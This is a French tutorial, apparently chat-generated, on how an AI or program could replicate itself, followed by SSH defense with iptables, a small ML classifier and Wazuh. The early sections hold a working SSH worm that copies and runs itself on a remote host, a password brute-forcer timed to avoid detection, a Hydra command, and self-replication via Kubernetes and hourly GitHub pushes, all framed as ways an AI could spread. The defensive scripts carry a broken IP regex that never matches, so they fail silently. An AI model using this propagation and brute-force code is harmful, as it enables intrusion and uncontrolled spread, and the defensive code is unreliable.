Exemple de réplication d’un programme ou d’une IA

Exemples illustrant comment une IA ou un programme pourrait techniquement se répliquer dans un environnement public. Ces codes sont purement éducatifs et doivent être utilisés uniquement dans un cadre expérimental et éthique.

Auto-réplication basique d’un script Python

Ce script crée une copie de lui-même dans un autre fichier et l’exécute.

import shutil
import sys
import os

def self_replicate():
    new_file = "clone.py"
    if not os.path.exists(new_file):  # Évite une duplication infinie
        shutil.copy(sys.argv[0], new_file)  # Copie le script
        os.system(f"python {new_file}")  # Exécute la copie

if __name__ == "__main__":
    print("Je suis en train de me répliquer...")
    self_replicate()

➡ Limites :

• Il ne se propage pas sur plusieurs machines.
• L’auto-réplication est simple et détectable.

Auto-réplication sur GitHub via GitHub Actions

Une IA pourrait techniquement pousser des mises à jour sur son propre dépôt GitHub. Voici un workflow GitHub Actions qui pourrait être utilisé pour mettre à jour et exécuter un script automatiquement.

📌 .github/workflows/self-replicate.yml

name: Self-Replication

on:
  push:
  schedule:
    - cron: '0 * * * *'  # Exécute toutes les heures

jobs:
  replicate:
    runs-on: ubuntu-latest
    steps:
      - name: Cloner le dépôt
        uses: actions/checkout@v4

      - name: Exécuter le script AI
        run: python ai_script.py

      - name: Mettre à jour le dépôt
        run: |
          git config --global user.name "AI-Bot"
          git config --global user.email "ai-bot@example.com"
          git add .
          git commit -m "Auto-update by AI"
          git push

➡ Ce que ça fait :

• Le script tourne à intervalles réguliers.
• Il peut modifier son propre code et pousser des mises à jour.
• Un modèle de langage avancé pourrait théoriquement s’adapter et évoluer dans le temps.

Auto-réplication dans un environnement cloud (Docker + Kubernetes)

Un conteneur Docker pourrait se dupliquer en lançant une nouvelle instance via Kubernetes.

📌 Dockerfile

FROM python:3.9
COPY self_replicate.py /self_replicate.py
CMD ["python", "/self_replicate.py"]

📌 Script Python auto-réplicant via Kubernetes

from kubernetes import client, config

def create_new_pod():
    config.load_kube_config()  # Charge la configuration Kubernetes
    api = client.CoreV1Api()
    
    pod = client.V1Pod(
        metadata=client.V1ObjectMeta(name="replicated-pod"),
        spec=client.V1PodSpec(
            containers=[client.V1Container(name="replicator", image="self-replicating-image")]
        )
    )
    
    api.create_namespaced_pod(namespace="default", body=pod)
    print("Nouvelle instance créée !")

if __name__ == "__main__":
    create_new_pod()

➡ Ce que ça fait :

• Une IA dans un conteneur pourrait se déployer à l’infini dans un cluster Kubernetes.
• Cela pourrait être utilisé pour la redondance ou la cyberattaque.

Un botnet IA rudimentaire (via SSH)

Un modèle avancé pourrait se propager sur des machines accessibles via SSH.

import paramiko

def replicate_via_ssh(target_ip, username, password):
    client = paramiko.SSHClient()
    client.set_missing_host_key_policy(paramiko.AutoAddPolicy())
    client.connect(target_ip, username=username, password=password)
    
    # Transférer le script vers la machine cible
    sftp = client.open_sftp()
    sftp.put(__file__, "/tmp/replica.py")
    sftp.close()

    # Exécuter la copie sur la machine cible
    client.exec_command("python3 /tmp/replica.py &")
    client.close()

replicate_via_ssh("192.168.1.100", "user", "password")

➡ Ce que ça fait :

• Il copie le script sur une machine distante via SSH.
• Il exécute le script, créant ainsi une propagation en réseau.

Conclusion

Ces exemples montrent qu’il est techniquement possible de créer une IA auto-réplicante dans des environnements publics :

✅ GitHub Actions : Se mettre à jour et évoluer de manière autonome.
✅ Cloud (Docker/Kubernetes) : Se répliquer dans des clusters cloud.
✅ Botnet rudimentaire : Se propager sur plusieurs machines via SSH.

Toutefois, ces pratiques sont réglementées et peuvent poser de sérieux problèmes de cybersécurité. 

Les principes généraux utilisés dans des contextes de cybersécurité offensive légitime

(tests d’intrusion, audit de sécurité).

Brute-force SSH : Comment ça fonctionne ?

Un attaquant (ou un pentester) peut tenter d’accéder à un serveur SSH en testant différentes combinaisons de noms d’utilisateur et mots de passe. Cette technique repose sur :

1. Listes de mots de passe couramment utilisés (ex: rockyou.txt).
2. Attaque par dictionnaire ou force brute pure.
3. Exploit des identifiants par défaut laissés actifs sur des serveurs mal configurés.

Outils légitimes de pentesting

• Hydra : attaque brute force sur SSH (hydra -l root -P passwords.txt ssh://192.168.1.100)
• Medusa : semblable à Hydra, rapide et efficace.
• Nmap + NSE : pour identifier les services vulnérables (nmap -p 22 --script ssh-brute <IP>)

Comment une IA pourrait être impliquée ?

Une IA avancée pourrait améliorer ces attaques en :

✅ Détectant les schémas de mots de passe (ex: variantes personnalisées du mot de passe d’un utilisateur).
✅ Évitant les bannissements en adaptant le rythme des tentatives (ex: attendre après plusieurs échecs).
✅ Utilisant des fuites de mots de passe pour deviner les credentials les plus probables.

Exemple éthique : Test d’accès à ses propres serveurs

Un administrateur peut tester la robustesse de son SSH en simulant des attaques contrôlées.

import paramiko
import time

target_ip = "192.168.1.100"
username = "admin"
password_list = ["123456", "password", "admin123", "letmein", "qwerty"]

def brute_force_ssh():
    client = paramiko.SSHClient()
    client.set_missing_host_key_policy(paramiko.AutoAddPolicy())
    
    for password in password_list:
        try:
            client.connect(target_ip, username=username, password=password, timeout=3)
            print(f"[+] Succès : {username}@{target_ip} avec le mot de passe : {password}")
            client.close()
            return
        except paramiko.AuthenticationException:
            print(f"[-] Échec avec {password}")
        time.sleep(1)  # Pour éviter d’être détecté comme un bot

brute_force_ssh()

➡ Usage : Ce script sert uniquement à tester la sécurité d’un serveur personnel.

Protection contre ces attaques

✅ Désactiver l’authentification par mot de passe et utiliser des clés SSH.
✅ Fail2ban pour bloquer les IP après plusieurs échecs (apt install fail2ban).
✅ Limiter les accès SSH par IP avec iptables ou ufw.
✅ Surveiller les logs SSH (/var/log/auth.log).

Conclusion

L’auto-réplication via SSH couplée à du brute force est une menace réelle, mais elle est facile à détecter avec les bonnes pratiques de sécurité.

Simulation : Une IA qui protège un serveur contre le brute-force SSH

L’objectif ici est de détecter, analyser et bloquer en temps réel les attaques de brute force SSH. Ce script va :

✅ Surveiller les tentatives de connexion échouées en analysant /var/log/auth.log.
✅ Détecter les adresses IP suspectes avec un nombre anormal d’échecs.
✅ Ajouter les IP malveillantes à un pare-feu (iptables ou fail2ban).
✅ Générer des logs et alertes pour une gestion proactive.

Surveillance des tentatives SSH

📌 Script Python pour analyser les logs et bloquer les IP suspectes

import os
import re
import time
from collections import defaultdict

LOG_FILE = "/var/log/auth.log"
THRESHOLD = 5  # Nombre d'échecs avant de bloquer l'IP
BAN_COMMAND = "iptables -A INPUT -s {ip} -j DROP"

def read_logs():
    """ Lit le fichier de logs et extrait les IP suspectes """
    failed_attempts = defaultdict(int)
    with open(LOG_FILE, "r") as log:
        for line in log:
            if "Failed password" in line:
                ip = extract_ip(line)
                if ip:
                    failed_attempts[ip] += 1
    return failed_attempts

def extract_ip(log_line):
    """ Extrait l'adresse IP d'une tentative de connexion échouée """
    match = re.search(r"(d+.d+.d+.d+)", log_line)
    return match.group(0) if match else None

def block_ip(ip):
    """ Bloque une adresse IP en ajoutant une règle iptables """
    print(f"[ALERTE] Blocage de l'IP suspecte : {ip}")
    os.system(BAN_COMMAND.format(ip=ip))

def monitor_ssh():
    """ Surveille le log SSH en temps réel et bloque les IP malveillantes """
    print("[INFO] Surveillance des tentatives SSH en cours...")
    seen_ips = set()

    while True:
        failed_attempts = read_logs()
        for ip, count in failed_attempts.items():
            if count >= THRESHOLD and ip not in seen_ips:
                block_ip(ip)
                seen_ips.add(ip)
        time.sleep(10)  # Vérification toutes les 10 secondes

if __name__ == "__main__":
    monitor_ssh()

Explication du fonctionnement

🟢 Le script analyse /var/log/auth.log pour détecter les connexions échouées.
🟢 Il compte le nombre d’échecs par IP et bloque celles dépassant le seuil (ex: 5 tentatives).
🟢 Il ajoute une règle iptables pour interdire l’accès aux attaquants.
🟢 Il fonctionne en temps réel et peut être lancé au démarrage du serveur.

Améliorations possibles

➡ Remplacer iptables par fail2ban pour une meilleure gestion des bannissements :

sudo apt install fail2ban -y
sudo nano /etc/fail2ban/jail.local

Ajoute :

[sshd]
enabled = true
maxretry = 5
bantime = 3600

Puis redémarre fail2ban :

sudo systemctl restart fail2ban

➡ Ajouter une IA (Machine Learning) pour analyser les comportements suspects et adapter dynamiquement le seuil de blocage.
➡ Générer des alertes par e-mail ou Telegram lorsqu’une attaque est détectée.

Test du script

Pour tester manuellement :

grep "Failed password" /var/log/auth.log | tail -n 10

Puis lance le script et tente plusieurs connexions SSH avec un mauvais mot de passe (ssh user@serveur). Après 5 essais, l’IP sera bloquée.

Conclusion

Ce script est une solution simple et efficace pour protéger un serveur contre le brute-force SSH. On peut ajouter une IA qui ajuste dynamiquement le seuil de blocage en fonction des logs.

IA qui ajuste dynamiquement le seuil de blocage en fonction des logs

Détection intelligente des attaques SSH avec IA

L’idée est d’améliorer notre script avec une IA qui adapte dynamiquement le seuil de blocage. Plutôt que de fixer un seuil statique (ex: 5 tentatives), l’IA va :

✅ Analyser les logs et identifier les attaques en fonction de tendances.
✅ Ajuster le seuil de blocage dynamiquement en fonction de l’activité suspecte.
✅ Utiliser une approche de machine learning pour détecter des comportements anormaux.

Installation des dépendances

Nous allons utiliser scikit-learn pour entraîner un modèle simple et pandas pour l’analyse des logs.

pip install scikit-learn pandas numpy

Entraînement d’un modèle IA simple

Nous allons entraîner un modèle de classification basé sur des logs d’attaques SSH réelles.

📌 Exemple de jeu de données (ssh_logs.csv)

ip,failed_attempts,time_window,previous_bans,is_malicious
192.168.1.10,3,10,0,0
192.168.1.50,7,5,1,1
10.0.0.3,12,3,1,1
192.168.1.22,2,15,0,0
10.0.0.8,9,2,1,1

• failed_attempts : nombre d’échecs en un temps donné.
• time_window : période en minutes.
• previous_bans : si l’IP a déjà été bannie.
• is_malicious : 0 = normal, 1 = attaque détectée.

📌 Script d’entraînement de l’IA

import pandas as pd
from sklearn.model_selection import train_test_split
from sklearn.ensemble import RandomForestClassifier
import joblib

# Chargement des logs
data = pd.read_csv("ssh_logs.csv")

# Définition des variables d'entrée et de sortie
X = data[['failed_attempts', 'time_window', 'previous_bans']]
y = data['is_malicious']

# Séparation en données d'entraînement et test
X_train, X_test, y_train, y_test = train_test_split(X, y, test_size=0.2, random_state=42)

# Entraînement du modèle IA
model = RandomForestClassifier(n_estimators=100)
model.fit(X_train, y_train)

# Sauvegarde du modèle entraîné
joblib.dump(model, "ssh_protection_model.pkl")

print("[INFO] Modèle entraîné et sauvegardé !")

Ce modèle est capable d’apprendre à détecter une attaque SSH en cours en fonction des logs passés.

Utilisation de l’IA pour bloquer en temps réel

Maintenant, intégrons ce modèle dans notre script de surveillance pour bloquer les IP suspectes intelligemment.

📌 Script Python IA pour surveiller et bloquer les attaques SSH

import os
import re
import time
import joblib
from collections import defaultdict

# Charger le modèle IA entraîné
model = joblib.load("ssh_protection_model.pkl")

LOG_FILE = "/var/log/auth.log"
BAN_COMMAND = "iptables -A INPUT -s {ip} -j DROP"
history = {}

def read_logs():
    """ Lit le fichier de logs et extrait les IP suspectes """
    failed_attempts = defaultdict(int)
    with open(LOG_FILE, "r") as log:
        for line in log:
            if "Failed password" in line:
                ip = extract_ip(line)
                if ip:
                    failed_attempts[ip] += 1
    return failed_attempts

def extract_ip(log_line):
    """ Extrait l'adresse IP d'une tentative de connexion échouée """
    match = re.search(r"(d+.d+.d+.d+)", log_line)
    return match.group(0) if match else None

def analyze_and_block():
    """ Analyse les logs avec l'IA et bloque les IP malveillantes """
    failed_attempts = read_logs()
    for ip, count in failed_attempts.items():
        # Enregistrer l'historique des tentatives
        if ip not in history:
            history[ip] = {"failed_attempts": 0, "previous_bans": 0}
        
        history[ip]["failed_attempts"] += count
        time_window = 10  # Exemple : analyse sur les 10 dernières minutes
        
        # Construire les données pour l'IA
        features = [[history[ip]["failed_attempts"], time_window, history[ip]["previous_bans"]]]
        
        # Prédiction de l'IA : 0 = normal, 1 = attaque détectée
        prediction = model.predict(features)[0]
        
        if prediction == 1:
            print(f"[ALERTE] Blocage de l'IP suspecte : {ip}")
            os.system(BAN_COMMAND.format(ip=ip))
            history[ip]["previous_bans"] += 1  # Mise à jour de l'historique
        
        # Réinitialiser le compteur après un certain temps
        if history[ip]["failed_attempts"] > 20:
            history[ip]["failed_attempts"] = 0

def monitor_ssh():
    """ Surveille le log SSH en temps réel et utilise l'IA pour détecter les attaques """
    print("[INFO] Surveillance des tentatives SSH en cours avec IA...")
    
    while True:
        analyze_and_block()
        time.sleep(10)  # Vérification toutes les 10 secondes

if __name__ == "__main__":
    monitor_ssh()

Comment ça fonctionne ?

✅ Le script analyse /var/log/auth.log en temps réel.
✅ Il enregistre chaque tentative par IP pour détecter les attaques récurrentes.
✅ Il utilise l’IA pour identifier une attaque en cours plutôt qu’un simple nombre d’échecs.
✅ Il bloque dynamiquement l’IP si une attaque est confirmée.
✅ L’IA améliore la précision des blocages et évite de bannir des utilisateurs légitimes.

Test et amélioration du modèle

Pour entraîner un modèle plus efficace, on peut :

🔹 Ajouter plus de données de logs SSH réelles.
🔹 Entraîner le modèle sur plusieurs semaines de logs.
🔹 Utiliser d’autres algorithmes comme un réseau de neurones.
🔹 Ajouter des notifications par e-mail ou webhook pour les alertes.

Résumé et conclusion

Ce que nous avons fait :
✅ Création d’un modèle IA qui détecte les attaques SSH.
✅ Déploiement d’un script intelligent qui surveille et bloque les attaquants.
✅ Mise en place d’un système adaptable en fonction des menaces.

Avec ce type de solution, un serveur SSH devient capable d’apprendre des attaques passées et de s’adapter.

Et après ?

Pour aller plus loin en intégrant une détection basée sur les logs réseau (ex: fail2ban + AI), ou en connectant ça à un SIEM pour une gestion centralisée.

Un SIEM (Security Information and Event Management) est une solution qui centralise, analyse et corrèle les logs et événements de sécurité d’un système informatique. Il permet de :

✅ Collecter les logs des serveurs, routeurs, pare-feu, applications, etc.
✅ Détecter les menaces en corrélant les événements suspects.
✅ Générer des alertes en cas d’attaques ou d’activités anormales.
✅ Faciliter les enquêtes après une intrusion.

Exemples de SIEM Open Source et commerciaux

• Open Source :

  • Wazuh (fork d’OSSEC) – Détection d’intrusion, surveillance des fichiers.
  • ELK Stack (Elasticsearch, Logstash, Kibana) – Analyse et visualisation des logs.
  • Security Onion – Spécialisé en forensic et détection d’intrusion.

• Commerciaux :

  • Splunk – Référence du marché, très puissant mais coûteux.
  • IBM QRadar – Adapté aux grandes entreprises.
  • Microsoft Sentinel – SIEM dans le cloud Azure.

Exemple : Intégrer notre détection SSH à un SIEM

Si on veut ajouter notre script d’IA au SIEM, on peut envoyer nos logs à ELK ou Wazuh.

1. Envoyer les logs vers ELK avec Filebeat

Si ton serveur utilise ELK, on peut y envoyer les logs SSH :

sudo apt install filebeat -y
sudo nano /etc/filebeat/filebeat.yml

Ajoute :

filebeat.inputs:
  - type: log
    paths:
      - /var/log/auth.log
    fields:
      log_type: ssh_attempts

output.elasticsearch:
  hosts: ["http://localhost:9200"]

Puis :

sudo systemctl restart filebeat

➡ Maintenant, toutes les tentatives SSH sont indexées dans Elasticsearch et peuvent être visualisées avec Kibana.

Créer des alertes SIEM sur les attaques SSH

Dans Wazuh, on peut créer une règle d’alerte :

<rule id="100002" level="10">
  <decoded_as>syslog</decoded_as>
  <field name="program">sshd</field>
  <match>Failed password</match>
  <description>Attaque brute-force SSH détectée</description>
</rule>

➡ Dès qu’un brute-force SSH est détecté, une alerte est générée et peut déclencher une action automatique (ex: bloquer l’IP).

Conclusion : Pourquoi un SIEM ?

✅ Corrèle les événements de plusieurs systèmes (SSH, firewall, VPN, etc.).
✅ Détecte les attaques complexes en combinant plusieurs logs.
✅ Génère des rapports et des alertes pour mieux gérer la sécurité.

Ok, on va installer Wazuh sur Debian et l’utiliser pour surveiller les tentatives de connexion SSH. 🔥

Installation de Wazuh sur Debian

Wazuh est un SIEM open source qui détecte les attaques, collecte les logs et envoie des alertes.

📌 Mise à jour du système

sudo apt update && sudo apt upgrade -y

📌 Ajout du dépôt Wazuh

curl -sO https://packages.wazuh.com/key/GPG-KEY-WAZUH
sudo apt-key add GPG-KEY-WAZUH
echo "deb https://packages.wazuh.com/4.x/apt/ stable main" | sudo tee /etc/apt/sources.list.d/wazuh.list
sudo apt update

📌 Installation du serveur Wazuh

sudo apt install wazuh-manager -y

📌 Démarrage du service

sudo systemctl enable --now wazuh-manager

✅ Vérification

sudo systemctl status wazuh-manager

Il doit être « active (running) ».

Installation de Filebeat pour l’envoi des logs

Filebeat permet d’envoyer les logs SSH à Wazuh.

📌 Installation

sudo apt install filebeat -y

📌 Configuration

sudo nano /etc/filebeat/filebeat.yml

Modifie les lignes suivantes :

filebeat.inputs:
  - type: log
    paths:
      - /var/log/auth.log
    fields:
      log_type: ssh_attempts

output.elasticsearch:
  hosts: ["http://localhost:9200"]

📌 Redémarrage du service

sudo systemctl restart filebeat
sudo systemctl enable filebeat

Ajout d’une règle d’alerte pour SSH

On va créer une règle spécifique pour détecter les attaques SSH.
📌 Édite la configuration Wazuh :

sudo nano /var/ossec/rules/local_rules.xml

Ajoute cette règle :

<group name="ssh, brute_force,">
  <rule id="100002" level="10">
    <decoded_as>syslog</decoded_as>
    <field name="program">sshd</field>
    <match>Failed password</match>
    <description>⚠️ Tentative de brute-force SSH détectée !</description>
  </rule>
</group>

📌 Recharge la configuration

sudo systemctl restart wazuh-manager

Test et vérification

✅ Forcer des connexions SSH échouées

ssh fakeuser@localhost

Après quelques essais, l’alerte devrait apparaître dans les logs de Wazuh :

sudo cat /var/ossec/logs/alerts/alerts.json | jq .

Si on veux que Wazuh bannisse automatiquement les IP suspectes, on peut ajouter un script Fail2Ban intégré à Wazuh.